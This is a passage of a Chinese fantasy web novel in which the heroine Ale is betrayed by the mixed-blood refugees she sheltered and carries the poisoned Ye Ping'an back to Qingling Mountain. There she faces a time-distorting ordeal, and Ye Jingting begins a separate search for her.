“无碍。”阿乐捏了捏手腕,一阵火辣辣的疼。
“对不起,我只是太想把大家接过来了。”叶平安道。
看着他无辜的脸,阿乐拍拍他肩膀,或许是从那次断墙下看到那群吊着的尸体开始,他太想保护大家了。
两人一路很顺利,连夜赶路回去。
大家听到这个消息兴奋不已,当天夜里就收好行李。
其实他们也没有什么行李,无非就是带些菜种子什么的。
阿乐看着这件事终于有了着落,坐在洞口看着外面月光绰绰,几只小鸟停在树枝上呼呼大睡。
“阿乐。”徐娘走来坐在阿乐旁边。
“阿珍睡着了吗?”阿乐道。
“一直吵着今天就要去,好不容易才哄睡了。”徐娘笑道,只要想到那个小肉团子,她就感到很幸福。
“你在想什么?”徐娘似乎看出了阿乐在想什么。
阿乐摇摇头,只是看着那轮明月,她在想要不要先去与叶敬亭道个平安,可是这近一月,叶敬亭一条密信也没有。
或许他还在忙着吧,毕竟这天雷毁了那么多地方,那些民间抓混血者的组织也够他们处理很久了。
“想清灵山了吗?”徐娘眯着笑眼,伸手拉着阿乐的手。
看着徐娘年龄不过二十有余,手掌上却布满老茧,一个人拉扯大阿珍是有许多不易。
阿乐点点头。
“等去到灵隐谷,待我们安顿好,你就回去看看。”徐娘宽慰道。
阿乐眼眶泛红,继续点点头。
这一夜两人无眠,就坐在洞口吹着夜风,赏着月亮,偶尔聊上几句。
待树上那几只鸟叫唤,天也亮了。
叶平安数过,总共有五十三人。
一大长排队,还推着车,拉着各种工具,这样太容易引起注意了,毕竟那里是无间地界。
阿乐每个人分了一个乾坤袋,嘱咐大家把要带的东西都装进去。
把五十三人分成若干小队,三三两两,五五六六,分批混入其中,待快到地方的时候,会给大家暗示再集合。
这天不知是妖魔族有聚会,还是老天开了眼。
去无间地界的妖魔比平时多了一倍,甚至有人推着推车带着行李。
这一路实在顺畅,没有遇到任何阻碍。
大家顺利到达石门前。
叶平安滴过血,石门一推即开。
看着石门后的风景,既有人开始啜泣:“太好了,我们不用再东躲西藏了。”
不等阿乐带领,一窝蜂全部跑了进去。
叶平安看着阿乐,两人相视大笑,这一天终于到了。
一转眼已过去半月,大家已经陆续搭建好住处,田地也修整的差不多。
阿乐满意的看着这一切,在想,现在可以放心的回清灵山了。
这时,一个小肉团扑在小腿肚上,“阿乐姐姐,你是不是想家了?”
阿乐蹲下,捏了捏阿珍的肉脸,笑道:“你知道什么是家吗?”
“阿珍知道,有阿娘的地方就是家。”阿珍道。
阿乐牵起阿珍,笑道:“是呀,我好久没回去看看了。”
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突然想起,叶平安也好久没有回去了,不如相约一起。
把阿珍送给徐娘,“徐娘,你看到叶平安了吗?”
徐娘此时正忙着做饭,每个人都有分工,身强力壮的去修缮房屋,年长些的负责割草拾柴火,徐娘是负责做饭的。
烟雾缭绕中,徐娘没有回话。
锅里的水“咕嘟咕嘟”冒着泡。
“徐娘——你看到平安了吗?”阿乐又喊了一遍。
徐娘才回过神,擦了把汗道:“没看到。”
阿乐回想着,好像这两天都没有见到叶平安了。
又跑去各个地方寻了一圈,不但没有叶平安的踪影,还有几个眼熟的也没有看到。
难道跑出去玩了?
万一被妖魔族发现那可遭了。
顾不上多想,飞身往石门处去。
站在山顶上,阿乐回望,忽然发现他们开拓的地方比之前规划的要大很多。
心中嘀咕了几句:“不过短短十几日,居然已经盖好那么多地方了?”
忽然,几句呻吟声从石门旁传来。
“谁?”阿乐祭出“雪落”握在手中,循声而去。
一片草丛中又隐约传来了几声细碎的呻吟。
阿乐敛息屏气,慢慢靠近,手一撩,拨开乱草,被眼前景象吓得身形怔住。
“叶平安?”阿乐试探道。
躺在地上形同枯槁的人听到喊声,艰难的转过头,看到是阿乐,从浑浊的双眼里流出眼泪。
嘴巴一张一合却说不出话,缓缓抬起手,手掌上横七竖八很多划痕。
“平安!平安——你怎么了?”阿乐跑上前抱起躺在地上的男子。
灵力从指尖升起,顺着手掌慢慢灌入他体内。
半晌,叶平安才恢复了些力气。
阿乐又灌了些水下去,叶平安脸色才稍微活过来一些。
叶平安竖起食指放在嘴前,又指了指石门。
阿乐点点头,背起叶平安小心往石门外走去。
一路上,阿乐背着叶平安,神色凝重,到底是发生了什么事?那么多天就没有人发现他躺在这里吗?
脑海中划过徐娘在烟雾缭绕中的脸,还有阿珍,还有其他人,并未发现有什么不对劲的地方,难道是妖魔族的人闯进去了?
可需要神族的血才能开启石门啊!
神族的血?阿乐心中一惊,所以叶平安手掌上的划痕——
出了石门,阿乐找到一处僻静的山洞,两人进去后,小心结起结界,把叶平安放下,升起一笼火堆。
又给叶平安喂了一些水,
“到底发生了什么?谁把你弄成这样?”阿乐着急道。
叶平安双眼空洞,看到阿乐的脸,眼泪又流了一脸,阿乐拉着他的手,道:“这里是外面,没有其他人,你放心。”
又修整了片刻,叶平安这才开始缓缓道:“十日前,我像往常一样出去买物资。待到小镇上,忽然看到有几个人十分眼熟,我仔细辨认是随我们去石门那边的混血者——”
跟随叶平安的声音,阿乐仿佛也来到了那个小镇。
叶平安躲了起来,看着一伙人,约莫四五个壮汉,正是随他们一起来这里的混血者。心中暗自疑惑,他们什么时候出来的。
他没作声,听着他们谈话:
“那破地方连个女人都没有,喝酒的地方也没有,我们真要回去吗?”
“大哥,回去需要神族的血,我们也回不去!”
“神族,就是叫叶平安那小子?看着年龄不大,还真把自己当救世主了?”
“每天就是修房、种地,还不如死在外面呢?”
“还有那个小姑娘,长得倒是水灵,若是能让小爷我爽一爽,我倒是愿意跟她在那里醉生梦死!”
“哈哈哈哈——”一阵淫/荡的笑声荡开,叶平安捏紧拳头,却又不能上去打他们一顿,心里默默诅咒道,“那就死在外面吧。”
49. 背刺
这一路上叶平安拳头没有放开过,他没打算再让这几人回去。
本想将此事与阿乐说,但看到阿乐与大家相处的其乐融融,他便忍了下去。
又过了几日,见房屋、田地,还有日常用品都置办差不多了,他本想约阿乐回去清灵山看看,她一定很想念敬亭师兄,还有清灵山吧。
吃过晚饭,他惊奇的发现那几人既然又回来了。
看着他们又一副老实人模样与阿乐交谈,内心一阵恶心,他决定要教训教训几人。
当晚,他约了几人出来,本想打他们一顿让他们知道自己的实力便收手。
没想到既然被那几人暗算,这其中还有几名与他关系不错的人。
他们把叶平安绑起来,缴了他的灵剑。
叶平安想要调用身体内灵力时才发现,他体内早已中毒,一点灵力都使不出来,召唤了几次灵剑,发现灵剑竟然被他们丢去石门外,根本进不来。
他们每天来几次,每次带个小瓶,把叶平安手掌划开把血装进瓶子里,装完便走了。
叶平安担心阿乐也被暗算,终于在一次乘来取血的人不备,勉强逃了出来,躲在石门那。可是这几日血流的太多,加上毒发,身体一点力气都没有,只能藏在那个地方躲着。
直到碰到阿乐。
阿乐听完,瘫坐在地上,眉头紧锁。她现在脑子里好似一片浆糊,她需要时间捋一捋。
她给叶平安又输送了一些灵力,“你要休息一下吗?”
叶平安摇摇头,他们现在还不是休息的时候。
半晌,阿乐道:“这段时间做饭的都是徐娘,如果要下毒那她那里最好下手,你觉得她也参与其中吗?”
叶平安轻轻摇摇头,他不确定是有人去下毒,还是徐娘也参与其中。
“那几人现在还在石门里吗?”阿乐道。
叶平安摸索着回忆,他听到他们出石门的声音。
“出去了。”叶平安道,又想到阿乐可能要做什么,摇摇头道:“你不要去打草惊蛇。”
阿乐捏起的拳头又松开,对,她若是打草惊蛇,那有可能会错过真相。
似乎又想到了什么,阿乐道:“你放才说,你十日前去镇上买物资?”
叶平安点点头。
“不对啊,我们进石门也不过十五日而已。”阿乐十分笃定,因为她每天都算着回清灵山的日子。
叶平安摇摇头,道:“两月,我们进石门已经快两月了。”
“什么?”阿乐瞪圆眼珠,惊恐喊道,“我明明记得我们只有十五日啊!”
忽然又想起那片已经开拓很大一块的地,确实不是十几日便可以做到的。
难道自己也中毒了?
指尖升起灵力在身上探查了一遍,并没有啊。
叶平安勉力抬起手拉住阿乐,嘴巴一开一合:“回清灵山。”
从他们来这里的第一天就顺利得不可思议,细细想来确实有很多诡异的地方。
她发现,只要她想回清灵山,阿珍便会出现,徐娘也会来宽慰她“等安定下来,你就快回清灵山吧。”
这一“安定”,便过了两月。
可为何自己也从未收到过叶敬亭、叶鹤还有其他师兄的密信呢?
都那么久了,叶敬亭从未想起过自己吗?
当下便打定主意,先回清灵山。
“平安,我带你先回清灵山,好不好。”阿乐道。
叶平安点点头。
“你先闭上眼休息一下,我再给你疗伤。”阿乐道。
阿乐小心把他头放在自己腿上,这样他能暖和一些。
叶平安慢慢闭上眼,眼泪顺着眼角滑落。
“是不是很痛?你睡一会,起来就不疼了。”阿乐看着眼前面若死色的人,掌心升起灵力,缓缓输入他体内,自责自己没有照顾好他。
灵力断断续续输送着,阿乐一夜未眠,她一直在想,是自己错了吗?难道都是自己一厢情愿?
直到外面出现吵闹。
阿乐侧首仔细听着,不是妖魔族。
是那群混血者正在外面喊话:
“阿乐、叶平安,我们知道你们在这里,若还不出来,以后就别再见到这娘俩啦!”
阿乐一惊,他们居然找到这里?
探查了一遍叶平安,毒素还是没有缓解,看来要快点回清灵山才行。
阿乐把叶平安扶起来,用灵锁牢牢绑在自己身上。
“平安,你坚持一下,我们很快就能回去。”阿乐道。
外面的混血者修为皆在她之下,很快就能解决。
打开结界,本以为自己已经做好准备,但是当这一大群混血者站在自己面前时,还是震惊了一下。
为首的混血者年轻力壮,大概就是把叶平安绑起来的其中一个吧。
他拿着剑架在徐娘脖子上,徐娘抱着阿珍不敢动弹。
阿珍被吓得都不敢哭。
“为什么?”阿乐道出她想了一晚上都没有想明白的问题。
“为什么?你问过我们要跟你来这鸟不拉屎的地方吗?”其中一名混血者道。
这话一出,其他混血者也开始嚷道:
“这里什么都没有,连房子都要自己盖好,这就不说了,还要去耕地。我这一把老骨头了,哪还干得动?”
“你带我们来这里,谁知道是不是想囚禁我们?进来还要神族的血,那不就明摆着我们出去就不能回来了呗。”
“还就在妖魔族的地界旁边,你莫不是勾结那左使,替他们养‘魔丸’呢?”
“以后你们走了,我们怎么办,我们要永远守在这个地方吗?”
大家七嘴八舌喋喋不休,各种抱怨的声音向阿乐涌来。
阿乐祭出“雪落”握在手里,手越握越紧,忽然一阵灵力从身上爆开,把混血者全部掀翻在地。
她一脸肃然,嘴角因太过生气微微抽动,这些就是她费劲心思救回来的人。
“如果我不带你们来这里,你们的下场就是被天雷烧死,被妖魔族抓去炼丹,被那些组织抓去关起来甚至杀死。”阿乐愤然道。
顿时一片安静,没有人再说话。
阿乐把徐娘和阿珍用灵力拉到身后,“你们没事吧。”
徐娘摇摇头,阿珍这才敢放声大哭。
“就算那样被杀死,那也好过被囚禁起来失去自由好!”
“对!对!你与他们有何区别?”
“我们不是你圈养的畜生,进出都要你同意才行。”
阿乐看着这群不可理喻的人,“好,那你们不要回去,你们就在外面自由。”
“当初是你把我们带到这妖魔族的地盘,现在又说让我们自由?凭什么?”
“对,什么都是听你们的,我们到底算什么?”
······
阿乐被吵得脑瓜疼,她有那么一瞬冲动,想把他们全杀了。
念头才冒出,自己也被吓了一跳。
冷静,现在需要冷静。再这样大吵大闹下去,势必会引来妖魔族。
还是先回石门内再解决。
“这里太危险,先回石门再说,你们要去要留随你们便。”
阿乐撇下嘴自嘲了下,“都这个时候了,还在关心着他们的危险。”
可又能怎么办呢?总不能引来妖魔族的人把他们全带走炼丹吧。
“平安,你还好吗?”阿乐关切道。
身后传来两句呻吟算是回答。
“你再坚持一下,我很快就能处理好。”阿乐道。
身后又断断续续传来微弱的声音:“小——小——心——”
“放心。”
石门内。
就在这本以为会重新开始幸福生活的地方,阿乐背着叶平安,徐娘抱着阿珍站在一边。
其余人全部站在另一边。
“说吧,你们现在想做什么?”阿乐问道
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众人不说话,只是看着她笑,这笑得有些瘆人,忽然脖颈一阵刺痛,阿乐转过头,竟看到徐娘手里拿着一根针,正对着自己笑。
周遭的人影开始涣散,身体不受控制向前倒去。
“师兄——”
她万万没想到,徐娘会对自己持刀相向,难道真是她错了?
阿乐猛然睁开眼,一股血腥味扑面而来。发现自己手脚都被绑住,几缕阳光顺着洞壁上的小洞照进来,才能勉强看清。
她前面半空中吊着什么东西。
待眼睛适应了这里的黑暗,她才看清,吊着的是叶平安。
他手掌被割开,血一滴一滴顺着手指流入下面的碗里。
血腥味就是从这里散发出来的。
阿乐扭动着身躯想要靠近一些,发现背后被铁链拴住,只能靠在墙上狂怒。
“叶平安,平安!”阿乐喊道。
半晌没有动静,安静的洞里,隐约传来呼吸声,却是非常缥缈。
阿乐尝试召唤“雪落”几次,都没有成功。
浑身使不出一点灵力,看来她也被下毒了。
几番折腾,浑身软绵绵的提不起劲,只好靠在地上想其他办法。
“师兄,可以给师兄发密信——”可这个时候发密信,叶敬亭他们来会怎么处置这些混血者呢?那岂不是落了他们说的话。
不行,不行,得想其他办法。
“徐娘,徐娘——我肚子痛!”阿乐倒在地上扭曲着身体,表情痛苦不堪。
半晌,“嘎吱”洞壁上亮起一片光,徐娘走了进来。
她把阿乐扶起,用手摸了摸额头,声音冷漠道:“不用装了,我知道你没事。”
“徐娘,你是不是被他们威胁了?”阿乐还是不死心,她不信徐娘会对她下手。
“没有。”干脆冷静的回答。
“那你怎么变成这样?”阿乐道。
“什么样?我本来就这样。你以为一个人拉扯着一个混血儿的人会是什么样的?不要天真了。”徐娘道。
阿乐听着这陌生又熟悉的声音,道:“当初你是愿意跟着我来的呀?”
黑暗中划过一声冷笑,“我是愿意啊,只是没想到,这里既然需要神族的血才能进来。我试过连阿珍带着人族的血都不行。”
“我也没有办法,我得要活下去。”徐娘说完,掏出一把短剑,向阿乐走去。
阿乐本能的往后躲去,她一遍又一遍的发出密信,“师兄,救我——”
剑锋在阳光下一闪,阿乐感觉手脚被松开了。
“你——”嘴巴被一只布满老茧的手捂住。
耳边传来低语:“嘘,不要说话。我一会出去会把门的结界打开,你到天黑了再出来。这个是解药。”
说罢阿乐手里被塞进一颗药丸。
“哼,死丫头真是命好,放着神仙日子不过,非要来做什么救世主。”
说罢便出去了。
阿乐愣在原地,一切变化太快了。
她一口吞下药丸,把叶平安解开放倒在地。
灵力在体内慢慢聚拢。
等不到完全恢复,便往叶平安体内输送灵力。
探查了一遍,他的毒素已侵入五脏六腑,若待侵入经脉,那便师尊都救不了了。
虽然脑子里还是有诸多疑问,比如徐娘若真想救她,为何在那时要把她弄晕,以她的灵力,带着他们杀出去易如反掌,若是真想害她,现在又为何要救自己?
叶平安气息越来越弱。
等不到天黑了,阿乐运起灵力在周身,虽然还没完全恢复,但可以勉强支撑到回清灵山。
手中捏诀召出“雪落”,把叶平安用灵锁绑在身上。
太阳刚刚下山,便背着叶平安御剑而去。
奇怪,与预想不同,并没有人来追她。整个地方安静得犹如没有人在一般。
但她管不了那么许多,救叶平安要紧。
50. 红莲
阿乐一路极速御剑,背后的叶平安气息越来越弱。
有几次她甚至都察觉不到他气息。
“平安,你别睡,我们快到清灵山了。”阿乐喊道。
没有回应,阿乐又加快了速度。
这已然是最快的速度了。灵力还没恢复完全,一直在消耗,自己也是在勉力支撑。
在仙雾缭绕中隐约看到了清灵山三个苍劲有力的大字。
“平安,我们到了,到了!你再撑一下。”阿乐眼眶泛红,他们终于回来了。
把剑收回,飞身向灵殿而去。
“师尊,救救平安!”阿乐边喊道。
才踏进清灵山门口,便被人拦下。
那些人看着都很面生,大概是外室新来的弟子吧。
“我是师尊弟子,叫阿乐,这个是外室弟子叶平安,你们应该听说过吧!”阿乐道。
那几人不为所动,其中一人指尖升起灵力向两人探查一番,厉声道:“他可以进去,你不行。”
“为什么?叶敬亭、叶鹤、叶展云、叶子清你们知道吧!这些都是我师兄,你们去问他们认不认识我!”阿乐道。
“混血者不可入内。”那人道。
“我——”阿乐在腰间翻找一番,阿爹给她的玉牌不见了,难怪会被认出混血身份。
“我要见师尊!”阿乐道。
“你不能进去。”依然是这个回答。
“他中毒了,要找师尊才行!”阿乐道。
几名弟子上前查探了一番,又低语交谈了一番。
“你把他交给我们,我们带他去见师尊。”其中一名弟子道。
“可——”阿乐担心他们不能照顾好叶平安,可看着他们的样子自己也没办法跟进去。
只好解开灵锁,把叶平安交给他们。
“你们小心一些,麻烦各位师弟快点交给师尊。”阿乐说罢,做辑行礼。
看着他们抱着叶平安离去的背影,心里忐忑不安。
阿乐还想试图说服留守的弟子,却遭受到冷漠的回应。
这玉牌到底是掉哪里了?
她前段时间都待在石门,没有去过其他地方。
难道是在石门的时候掉的?那大家不就发现她是混血者了?
想出一个问题,便会牵连出更多的疑点,这段时间发生的事情都太多了,阿乐感觉精疲力竭。
“师兄——师兄——我在清灵山门口。”阿乐接连给叶敬亭发了几次密信。
阿乐在山脚来回踱步,半晌,却没有收到回应。
探头看了一眼,那几个弟子面无表情站在门口,丝毫不给她机会。
这些弟子的表情怎么那么熟悉呢?对,就是跟叶敬亭的冰块脸一模一样。
还是得再试一试。
“师弟呀,你们叶敬亭师兄在忙吗?我可以找他说几句话吗?我什么也不做,就是说几句话而已。”阿乐满脸堆笑,真诚得看着几位师弟。
除了回复着相同的几句话,还是没有人理她。
片刻过后,她又硬着头皮,脸上堆满笑容:“师弟,就传一句话,你就跟叶敬亭说,阿乐找他有事相商,很重要的事,要是耽误了,会引起很多祸事——”
其中一名看上去年纪比较小的师弟,终于忍不住开了口:“你怎么一直喊着师尊的名讳。”
阿乐以为自己听错了,惊讶道:“叶敬亭现在是你们的师尊?”
小师弟点点头,“你不知道吗?这都是去年的事情了。”
阿乐瞪大双眼,大声喊道:“去年???”
这时,有一名弟子飞身而来,对着阿乐道:“师尊要见你,请跟我来。”
“看吧,我说我们认识!”阿乐开心道,“快,我们走。”
明明是熟悉的路,却有着莫名的陌生感。
“叶平安现在怎么样?”阿乐道。
那名弟子僵了一下,道:“到了就知道了。”
有种不好的预感油然而生,安慰自己“师兄那么厉害,不会有事的。”
清灵殿。
殿内两旁站满弟子,表情肃穆。阿乐心跳加快,看到中央躺着一个人。
“不会的,不会的。”阿乐奔跑过去。
叶平安闭着眼睛躺在地上,干枯的脸没有一丝血气,。
“平安,叶平安!你醒醒,我不是让你不要睡的嘛!”阿乐扑倒在他身上,拉着他哭喊道。
“我们都到清灵山了,你怎么不再坚持一下!叶平安,你起来!”阿乐想要把他拉起来。
“阿乐。”熟悉的声音传来,是那个日思夜想的人。
阿乐泪眼婆娑,看着叶敬亭道:“师兄,你能救他对不对,你快救他啊!”
叶敬亭摇摇头,“他已经走了。”
“不可能,我背他来的时候,他还有气息怎么那么快就——”阿乐抽泣道。
阿乐哭了一个时辰,还是不愿意相信叶平安已经走了。
“阿乐,我有话跟你说。”叶敬亭道。
阿乐眼睛红肿着,任由叶敬亭拉着走了。
叶敬亭住所处。
阿乐一路抽抽搭搭,揉着眼问叶敬亭:“我背着他来的时候,他明明还有气息的——”
“我信你。”叶敬亭擦去她眼角的泪水。
“什么叫相信我?”阿乐不解,她了解叶敬亭,他这样说一定还有其他意思。
叶敬亭轻叹一口气,道:“他身上皮肉有腐烂迹象,他走了有十日了。”
“十日?怎么可能,来之前在石门,我还与他说话,他还有气息,怎么可能有十日?”阿乐推开叶敬亭不可置信,但她知道他不会说谎。
“阿乐,你知道你们消失了多久吗?”叶敬亭看着眼前的女子,眼眸灵动,“五年了,阿乐,我到处找不到你消息,五年了——”
叶敬亭眼眶泛红,手紧紧箍着阿乐,把头深深埋在她颈边,恨不得把她揉进身体里。
阿乐愣住,喃喃道:“五年?我就去了半月啊!”
不对,不对,这一切都不对。
从叶敬亭怀里仰起头,道:“师兄,这不对。”
“什么不对?”叶敬亭疑惑道。
“我——”阿尔欲言又止,这要怎么才能说清楚呢?“师兄,你再等等我。”
“阿乐——”
顾不上叶敬亭,随即飞身至清灵殿,背起叶平安,又往石门御剑而去。
在清灵山门口,被一个红色身影拦住去路。
“阿乐,我有话跟你说。”红色身影隐在黑影中。
“我现在有事,回来再说可以吗?”阿乐听出,这是叶茜,可她现在只想找出真相。
刚要离开,手被牢牢拉住,叶茜从黑影里走出来,她一身红妆,是新嫁娘的衣裳。
“我再过三日便要与敬亭成婚了。”叶茜缓缓道。
阿乐僵在原地,瞳孔放大呆呆望向叶茜说不出话。
叶茜继续道:“你走五年了,我们都以为你已经——我承认我使了一些手段,可他那时候心如死灰,形如走尸,我只能假扮成你——”
阿乐盯着她,眼眸上凝起一层霜:“然后呢?”
叶茜双腿跪下,磕在石板
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上发出沉闷的“咚”一声,她带着哭腔拉着阿乐的手道:“我求求你,成全我好不好。”
阿乐甩开她手,每个字都结成冰:“我要如何成全你?”
叶茜拖着双腿在地上摩擦往前靠近阿乐:“孩子是无辜的,我可以做小——”
“嗡”一阵声响,阿乐再也听不到任何声音,她收拢手掌纂紧,拳头擦着叶茜耳边划过,被她头上钗子划出一条口。
血流了一手,她丝毫不觉得疼痛,一阵寒气袭入三魂六魄,阿乐心脏仿佛被冻住,不再动弹,她似乎听到冰块裂出细缝的声响。
“呵——”自己好像一个世间最大的笑话。
那股力量在体内翻涌而来,阿乐不打算压制它。
叶茜被烫得抽回手,“阿乐,你——”
“不要喊我的名字,你不配——”阿乐侧首瞟了叶茜一眼,一股灵力把她震飞。
重新背好叶平安,“平安,我们走。”
风从两旁急速而过,天空落下大雨,一颗颗砸在阿乐脸上,她擦了一把脸,结起结界,背上还有叶平安。
“平安,别怕。”阿乐对着背上的人喃喃道。
突然,一截手骨垂了下来,森森白骨赫然就在眼前。
阿乐看着这截手骨,身形晃了一下,“这一个时辰都没有,怎么会?”
体内的力量沸腾翻涌,在她体内横冲直撞。
口中一甜,一口血喷出。
灵力不稳,“雪落”东摇西晃,风雨又大了一些。
阿乐轻轻一笑,“那就这样吧。”
大雨中,一个白色身影翩然落下。
“嘣”砸在地上的声音被雨声吞没,她仰面看着天空,原来雨落下来那么美。
她闭上眼,任由体内的浮生烬四处乱窜。
她感到身体被浮生烬淹没,经脉四处被炸断,能量汹涌而来,“原来浮生烬是这样的感觉——”
“嘭”一声巨响,四周树木都被连根拔起,方圆三十里变成一个巨坑。阿乐静静躺在这巨坑中央。
血水在她身后荡开,像极了一朵凄艳绝伦的红莲,在这雨水中,绽开得绚烂夺目。
她看着这血色的涟漪一圈圈荡远,脸上无比的平静,好似在看与自己无关的风景。此时此刻的她无比轻松,什么混血者、什么浮生烬,都结束了。
忽然,雨停了。她睁开眼,看到一把白伞遮在头顶,那个朝思暮想的人此刻正抬着这把白伞站在那里。
“阿乐——”叶敬亭跪在她身旁,拉着她手,眼泪砸在她脸上。
她想帮他拭去泪水,发现经脉已被割裂,她扯开一个比哭还难看的笑容,道:“师兄,对不起——“
“你不要说话,我带你回去——”叶敬亭小心抱起她满是裂痕的身体。
“嘶”一阵痛楚袭遍全身,阿乐倒吸一口冷气。
身体的痛楚总算是追上了心里的痛,她弯起嘴角,好似回到以前,血水顺着她嘴角流下,她呛了一口。
“我们回去说,好不好——”叶敬亭脸色比阿乐更加苍白,那些血仿佛是从他心窝里生生剜出来的,他紧紧盯着眼前的女子,好似她下一瞬就要消失。
“师兄——对不起——”阿乐咧着嘴笑道。
对不起,对不起,对不起……
她看着眼前的男子,双眼慢慢模糊,他的声音慢慢飘远。
只要闭上眼,这一切就都与她无关了。
“他以后会找一个神族女子结婚、育子。而你,只能在某一天‘浮生烬’爆发,而后孤独的死去。”
“好的,你赢了。”
51. 肉球
清灵山。
戌时刚过,叶敬亭、叶鹤、叶展云三人才从化神池里走出来。
“三天了,我现在在泡澡盆里看到有水泡冒出都想念口诀。”叶鹤转了圈脖子,捶了下肩膀。
“看他们在化神池里的样子,洗脉真是不容易!”叶展云附和道。
“那可是洗去血脉,能那么容易吗!”叶鹤道。
叶敬亭走在一旁,还是一副淡然自若的模样。
忽然,脑海里一条密信传来:“师兄—对不起”
叶敬亭猛然抬眼,怔在原地。
“师兄—对不起”阿乐的密信又传来一遍。
“对不起?”这是什么意思?为何要说对不起?叶敬亭回应了几句,却没了回音。
叶鹤看着叶敬亭眉间微蹙,一脸疑惑的表情,拍拍他道:“敬亭,怎么了?”
叶敬亭手在袖子里慢慢攥紧,“阿乐—”
“阿乐不是去找灵隐谷了!叶平安也一起去了。”叶鹤道,他记得阿乐还问过他灵隐谷在哪。
这两句话到底是什么意思?叶敬亭延展了“对不起”这三个字后面会接的话,比如“师兄对不起,这里很好玩,我以后不回来了”,又比如“师兄对不起,我喜欢上别人了”,不管哪一种似乎都不是好事,她到底有什么可对不起自己的?
见叶敬亭还是愁眉不展,叶鹤猜到恐怕是阿乐有变,追问道:“阿乐怎么了?”
叶敬亭思忖片刻,对叶鹤道:“走。”说罢已飞身而去。
叶鹤道:“去哪儿?”还是跟着叶敬亭飞去。
叶展云站在原地看着两人消失的背影:“去哪儿啊!”
须臾间,两人已飞身至清灵山脚。
两道白影划过夜空。
“你最后在哪儿见过她?”叶敬亭问道。
“一个山洞,阿乐把混血者藏在那里。”叶鹤回忆着,还在那儿见到徐娘、阿珍。
“就在那边”叶鹤指了下前方一片树林,一阵风吹过,叶敬亭已飞远。
叶鹤催动灵力急速追去。
两人在结界前落下。
“就是这。”叶鹤抬起手灵力一点,眼前看似无差别的风景出现一张网,随着灵力的消散转眼又不见了。
叶敬亭抬手试探了一下,手指捏诀,灵力冲入其中,对着结界处:“破。”
结界消失,露出里面的山洞。
“谁?谁在外面?”洞内跑出来几名壮年男子,手中提着剑,看来也是有修为之人。
随后徐娘提着一盏夜灯也款款而来,“阿宝,出什么事了?”
“徐娘,你看!结界被他们破了。”为首的男子应道。
叶鹤看到徐娘,大声道:“徐娘,又见面啦!”
待徐娘提起夜灯往前看真切了,回首道:“是阿乐的朋友,无妨,大家先散了吧!”
“是阿乐的朋友啊,那散了吧——大伙散了吧!”
只剩下三人站在洞口。
“是阿乐让你们来的吗?”徐娘道。阿乐说去找隐灵谷便三天没回来了,难道是找到了?
叶鹤摇摇头,问道:“阿乐去找灵隐谷了?”
徐娘点点头,疑惑道:“不是阿乐让你们来的啊,她三天前走的,我还以为是不是找到了。”
“那你知道他们去哪儿了吗?”叶鹤道。
“无间地界啊。”徐娘道。
“妖魔族的无间地界?”叶敬亭再确认了一遍。
徐娘点点头,笃定道:“阿乐还说妖魔族有她认识的人——”
一阵风吹过,叶敬亭转身飞身而去。
“徐娘,谢谢啊,一会你结下结界。”说罢追着叶敬亭而去。
徐娘看着冲冲而来又冲冲而去的两人,心中踹踹不安,心中默念:“可千万不要出事。”
叶敬亭御剑在前,叶鹤追赶上。
叶鹤看着小师弟眉间紧拧,想要宽慰几句,思来想去也不知道说什么好,毕竟能让小师弟那么着急,必定是事情比想象的要严重许多。
忽然,眼前炸开一朵红色烟花,紧接着两朵三朵四朵。
叶敬亭往旁边绕开,红色烟花紧随其后,好似是有人故意的。
“敬亭,你看!”叶鹤拉住叶敬亭,指着地下。
两人路过夜空下方灯火通明,是一座城池,可又不是城池的形状。蜿蜿蜒蜒更像是个夜市。
“妖市。”叶敬亭道。
他记得妖市里有什么人,大概对方也记得他,所以才会那么远都要“打招呼”。
“我们要去看看吗?好像有人想跟你说话。”叶鹤猜测道,
“不去。”叶敬亭淡然道,说罢又往前御剑飞去。
“轰隆”一声巨响,须臾间,一个形似老者的人挡住二人去路。
“好久不见,叶公子,我家主人请你去喝杯茶。”叶敬亭记得这名老者是夜郎跟前的人,是那四鬼之首。
叶敬亭淡漠的看了他一眼道:“让开。”
大鬼见识过叶敬亭的厉害,身子往旁挪了挪,却还是没有完全让开,又毕恭毕敬道:“阿乐姑娘来过这。”
叶敬亭抬起眼盯着大鬼,仿佛要把他看穿:“你可知骗我的后果。”
大鬼颔首垂目做了一个请的手势。
待叶敬亭与叶鹤落下,便看到四个冒着幽幽鬼火的骷髅头抬着轿子前来。
轿子在叶敬亭前停下。骷髅头矮了几分,夜郎从轿子上下来。
只见他一袭红衣,嘴角轻扬露出尖牙,血色眸子在叶敬亭身上不怀好意的来回扫了几遍。
“再怎么看也还是觉得一般,阿乐怎么就看上你了?”夜郎一副很惋惜的模样。
叶鹤这是第一次见到夜郎,虽然面上毫无波澜,心里还是默默赞叹了一句:“世间怎会有如此好看的皮囊。”
叶敬亭抬眸看了他一眼,并没有理会他说的这些乱七八糟,淡淡道:“阿乐来过?”
夜郎“噗嗤”一声笑了出来,“果然只有说阿乐,你才愿意下来。”
叶敬亭面无表情,转身便走。
“要不是阿乐心心念念都是你,我早自己去救她了!”夜郎道。
闻言,叶敬亭回过头,眉间轻蹙道:“你知道她在哪?”
夜郎抱着手,仰起头,不置可否。
叶敬亭回过身向前走了几步:“她在哪?”
“你不是要走吗?你走啊,我自己去救她。”夜郎道。
叶敬亭拔出“寒冰”握在手中,他没有那么多耐心,特别是眼前这位曾经要抢走阿乐做新娘的人。虽然知道夜郎的心上人不是阿乐,就凭竹映与阿乐这几分相似
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,他也万万不能掉以轻心。
夜郎把“寒冰”握在手中,抵在自己胸口前,对叶敬亭道:“我先走一步,让阿乐看看到底谁才适合做她的夫君。”
须臾间,夜空中只剩下夜郎的笑声。
叶鹤、叶敬亭反应极快,几乎是同时,两人已御剑飞行寻踪而去。
很快便追上了红影。
“你知道她在哪?”叶鹤道。
“你们来的实在太慢了。”夜郎一脸不爽,瞪了叶敬亭一眼,既然有几分恼怒。
叶敬亭阴沉着脸,这句话正中他心脏,这一路上他一直后悔,阿乐回去那天就该把话说开。
这种时刻,叶鹤还是选择乖乖闭嘴。
眼看就快到无间地界,夜郎一个急转弯,往旁边山顶飞去。
两道白影紧随其后。
三道光影在空中留下三道滑痕。
妖魔族一守卫指着天空道:“流星!快看——”
另一名守卫揉揉眼,睡眼惺忪的样子道:“哪里啊?”
“快,快许愿。”
夜郎在山顶落下,叶敬亭、叶鹤也一同落下。
才刚落下,便感觉到一股强大的力量,其中却又掺杂了一些浊气。
叶敬亭抬起手,灵力自手掌散开形成一个圈向前探去,才往前几步便被反弹回来。
果然,前面有东西。
